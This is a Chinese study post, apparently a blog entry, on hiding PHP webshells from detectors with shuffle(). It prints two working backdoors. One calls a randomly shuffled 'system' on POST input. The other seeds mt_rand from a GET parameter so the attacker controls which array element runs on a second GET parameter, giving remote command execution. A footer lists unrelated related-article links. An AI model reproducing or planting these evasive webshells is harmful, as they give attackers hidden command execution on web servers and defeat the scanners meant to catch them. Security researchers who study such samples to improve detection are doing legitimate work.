记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
Chockmans3 分钟前
春秋云境CVE-2022-32991(手注和sqlmap)保姆级教学
数据库·安全·web安全·网络安全·oracle·春秋云境·cve-2022-32991
木木_王3 分钟前
嵌入式学习 | STM32裸板驱动开发(Day01)入门学习笔记(超详细完整版|点灯实验 + 库函数代码 + 原理全解)
linux·驱动开发·笔记·stm32·学习
JAVA面经实录9177 分钟前
Java架构师最终完整版学习路线图
java·开发语言·学习
叶子野格7 分钟前
数据集网站kaggle注册无验证码选项?
学习
for_ever_love__34 分钟前
UI学习:数据驱动ce l l
学习·ui·ios·objective-c
跨境卫士苏苏40 分钟前
欧盟固定收费临近轻小件卖家如何判断继续铺量还是收缩
大数据·人工智能·安全·跨境电商·亚马逊
Hua-Jay42 分钟前
OpenCV联合C++/Qt 学习笔记(十七)----凸包检测、直线检测及点集拟合
c++·笔记·qt·opencv·学习·计算机视觉
南境十里·墨染春水1 小时前
linux学习进展 网络编程——HTTPS (补充)
linux·网络·学习
吃好睡好便好2 小时前
说说损伤膝盖的行为和保护膝盖的方法
学习